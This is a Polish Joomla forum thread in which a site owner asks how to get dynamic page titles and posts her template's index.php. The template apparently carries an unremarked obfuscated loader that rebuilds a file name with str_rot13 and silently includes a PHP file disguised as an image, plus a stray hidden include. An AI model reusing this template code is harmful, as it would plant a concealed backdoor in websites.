PDA

Zobacz pełną wersję : Jak zrobić dynamiczne tytuły?



ewqa
14-07-2011, 19:34
Chciałam zapytać się jak zrobić dynamiczne tytuły na mojej stronie (http://www.psychoszminka.pl)? Czy trzeba coś aktywować?
Obecnie każda strona ma taki tam tytuł między title a title w kodzie strony, co podobno nie jest dobre z punktu widzenia optymalizacji.

Gall Anonim
14-07-2011, 21:23
Ewcia - a nagłówki nadać to nie łaska?
Ja bym tam wrzucił np. H1

ewqa
14-07-2011, 21:28
Nie rozumiem, jakie nagłówki?

Mi chodziło o tytuł w kodzie strony

Gall Anonim
14-07-2011, 21:29
Zapraszam tutaj - a ja lecę po coś na zajady (http://www.kurshtml.edu.pl/html/h1h2h3h4h5h6,html.html) :D

ewqa
14-07-2011, 21:40
A jak to zrobić, żeby automatycznie się robiły dynamiczne tytuły?

zwiastun
14-07-2011, 23:02
Obejrzeć sobie konfigurację witryny, konfigurację artykułow

ewqa
15-07-2011, 10:30
Próbowalam zmienić tytuły w metadanych na - nie i proste adresy na - nie.
Może jeszcze jedna wskazówka? :)

ewqa
17-07-2011, 16:13
Może należy coś włączyć, aktywować?

ewqa
18-07-2011, 16:35
To może ktoś mi pomoże w zamian za napisanie tekstów?

zwiastun
18-07-2011, 17:28
@ewqa - naprawdę wypadałoby najpierw poszukać odpowiedzi na pytanie, a dopiero pytać.
Zapewne odpowiesz, że szukałaś. W takim razie wyjaśnij, jakim cudem nie trafiłaś do tego wątku:
http://forum.joomla.pl/showthread.php?24030-Nazwa-witryny-i-tytu%C5%82-strony-w-title

ewqa
18-07-2011, 18:36
Dziękuję, a czy ten kod mogę wstawić na zapleczu? Na zapleczu mam edytor html i css, ale nie ma index.php

zwiastun
18-07-2011, 18:48
@ewqa: wybacz, ale po co się za to w ogóle bierzesz, skoro nie wiesz, z czym się co je. Za chwilę sknocisz coś w kodzie i będzie płacz i zgrzytanie zębów. Joomla! jest na Twoje potrzeby wystarczająco zoptymalizowny (także pod kątem wyszukiwarek internetowych). Zabawy z modyfikacją kodu szablonów i innego są dla tych, którzy doszli już do takiego etapu znajomości Joomla, że mogą sobie na nie pozwolić. Ty najwyraźniej jeszcze nie doszłaś. Zatem najpierw dojrzewanie (np. lektura na temat budowy i modyfikacji szablonów), a tymczasem zostaw, jak jest.

ewqa
18-07-2011, 19:03
Nie jest zoptymalizowany na moje potrzeby właśnie. Potrzebne są mi dynamiczne tytuły.

---------- Post dodany o 17:03 ---------- Poprzedni post był o 16:53 ----------

To znaczy w html mogę sobie wstawić taki kod? -
<?php
$document =& JFactory::getDocument();
$document->setTitle($mainframe->getCfg('sitename') . " - " . $document->title);
?>

Zrobię sobie kopię w razie czego.

zwiastun
18-07-2011, 19:41
O! I to jest właściwe podejście!

ewqa
18-07-2011, 22:46
Wstawiłam ten kod w html szablonu, przed head, ale nic się nie zmieniło.

Elvaron
19-07-2011, 08:05
Dlaczego przed head? Jeżeli już, to w ramach head.
Poza tym zobacz sobie np. to http://extensions.joomla.org/extensions/site-management/seo-a-metadata/3521

ewqa
19-07-2011, 09:33
No w ramach head zrobiłam

Jola
19-07-2011, 10:52
Witam,
@ewqa po prostu pokaż co "wyrzeźbiłaś" w swojej sekcji head szablonu.

ewqa
19-07-2011, 11:02
fragment html



</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>

<jdoc:include type="head" />



<?php
$document =& JFactory::getDocument();
$document->setTitle($mainframe->getCfg('sitename') . " - " . $document->title);
?>


</head>


<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>

Jola
19-07-2011, 11:15
Ten kod powinien być użyty przed:

<jdoc:include type="head" />
Podaj adres strony.

ewqa
19-07-2011, 11:23
strona (http://www.psychoszminka.pl)

Jola
19-07-2011, 12:07
No pewnie - a mówiłam: pochwal się co wyprodukowałaś w sekcji head.
Wrzuciłaś tylko kawałek, a założę się, że wyżej masz na sztywno wpisane <title>Serwis dla kobiet, dziewczyn, nastolatek....
i inne niepotrzebnie dublujące się znaczniki.
Za dynamiczne tworzenie zawartości head odpowiada wpis:

<jdoc:include type="head" />i żadna własna radosna twórczość nie jest potrzebna.
Podejrzyj plik index.php standardowego szablonu Joomla i sprawdź co umieszcza się w head a co nie jest potrzebne.

ewqa
19-07-2011, 12:36
To może wstawię cały kod.


<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="robots" content="index, follow" />
<meta name="keywords" content="zakupoholizm, zakupoholiczka, portal psychologiczny, serwis psychologiczny, porady psychologiczne, darmowe porady psychologiczne, ciekawostki psychologiczne, porady, poradnik, portal, serwis, strony, ciekawostki, rozwój osobisty, psychoszminka, kobieta, kobiety, nastolatka, nastolatki, dziewczyna, dziewczyny, problemy, kariera, marzenia, cel, cele, lęk, lęki, odwaga, pomysł na życie, pomysł na karierę, szminka, psycho, porady dla kobiet, poradnik dla kobiet, portal dla dziewczyn, serwis dla dziewczyn, strony dla nastolatek, ciekawostki dla nastolatek" />
<meta name="description" content="Witamy serdecznie w naszym serwisie psychologicznym wszystkie nastolatki, dziewczyny i kobiety. Nasz portal przeznaczony jest wyłącznie dla kobiet. Znajdziesz u nas odpowiedzi na nurtujące pytania. Poruszamy takie tematy jak miłość, praca, zakupoholizm, psychologia zakupów. Nasza strona to przede wszystkim ciekawostki i darmowe porady psychologiczne dla kobiet. Rozmawiamy o problemach współczesnych kobiei staramy się je wspólnie rozwiązywać. Serwis internetowy dla nastolatek i młodych kobiet, ciekawostki psychologiczne, porady - zapraszamy do lektury." />
<meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />
<title>Serwis dla kobiet, dziewczyn, nastolatek :: PSYCHOSZMINKA :: Portal psychologiczny, ciekawostki psychologiczne, zakupoholizm, psychologia zakupów. Ciekawostki dla dziewczyn oraz porady dla kobiet...</title>





<link href="/index.php?format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />

<link href="/index.php?format=feed&amp;type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
<link href="/templates/themza_j15_24/favicon.ico" rel="shortcut icon" type="image/x-icon" />
<script type="text/javascript" src="/media/system/js/mootools.js"></script>


<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: - 999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>


<?php
$document =& JFactory::getDocument();
$document->setTitle($mainframe->getCfg('sitename') . " - " . $document->title);
?>




<jdoc:include type="head" />





</head>









<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="menugora" /></div> </div>





<div id="main_bg" class="banner1">







<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="forex trading logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Forex Trading Home"><?php echo $mainframe->getCfg('sitename') ;?></a>
<?php if($this->countModules('user4')) : ?>





<div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
<!--<div id="main_top"><jdoc:include type="modules" name="top" /></div>-->
<br clear="all" /></div>





<center>

</center>

</br></br>












<?php if($this->countModules('left')) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">




<span id='intertext1'>

<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<jdoc:include type="component" />
</span>



<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad">


<br/>
</div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>

<br><br/>

<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>
<br/>


<div id="top_menu">
<div id="topnav">
<jdoc:include type="modules" name="menugora" />
</div>
</div>




<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>

<jdoc:include type="modules" name="debug" />






</body>
><script src="http://cdn.wibiya.com/Toolbars/dir_0845/Toolbar_845645/Loader_845645.js" type="text/javascript"></script><noscript><a href="http://www.wibiya.com/">Web Toolbar by Wibiya</a></noscript>
</html>

To znaczy, że mam usunąć <title>Serwis dla kobiet, dziewczyn, nastolatek :: PSYCHOSZMINKA :: Portal psychologiczny, ciekawostki psychologiczne, zakupoholizm, psychologia zakupów. Ciekawostki dla dziewczyn oraz porady dla kobiet...</title> ?

Ale tytuł strony chyba jest ważny z punktu widzena optymalizacji...

zwiastun
19-07-2011, 13:16
@Jola Ci napisała jasno, co odpowiada za dynamiczne tworzenie treści head. Nie chcę powtarzać, co Ci już raz napisałem. Dociekliwość Joli potwierdza, że nie masz na ten temat wystarczającej wiedzy. Naczytałaś się gdzieś co nieco na ten temat, ale naczytać się, a wiedzieć i rozumieć to spora różnica.
Przywróć oryginalny kształt szablonu (instrukcję wczytującą sekcję metadanych podaną przez Jolę), pousuwaj swoją "radosną twórczość" z której dla pozycjonowania witryny najpewniej więcej szkody, niż pożytku.
Powtarzam: Joomla! jest wystarczająco zoptymalizowany pod kątem wyszukiwarek internetowych., a jeśli to nie zaspokaja czyichs potrzeb, to może skorzystać z dedykowanych rozwiązań albo z Joomla 1.6+, który jest pod tym kątem jeszcze bogatszy.

ewqa
19-07-2011, 13:19
NO ale co zrobić, żeby mieć dynamiczne tytuły?

Jola
19-07-2011, 13:20
A zajrzałaś do templates/rhuk_mikyway/index.php?
Popatrz tam i usuń niepotrzebne - bo później i tak dublowane wpisy.
Powtórzę jeszcze raz za dynamiczne dodawanie tagów meta odpowiada wpis:

<jdoc:include type="head" />

ewqa
19-07-2011, 14:09
No zajrzałam, ale boję się usuwać... Może ktoś by mi usunął na zasadzie wymiany usług? :)

Gall Anonim
19-07-2011, 14:11
@ewqa - kopia zapasowa i hulaj dusza piekła nie ma :-)
Pzdr
P.S. Uczymy się na własnych błędach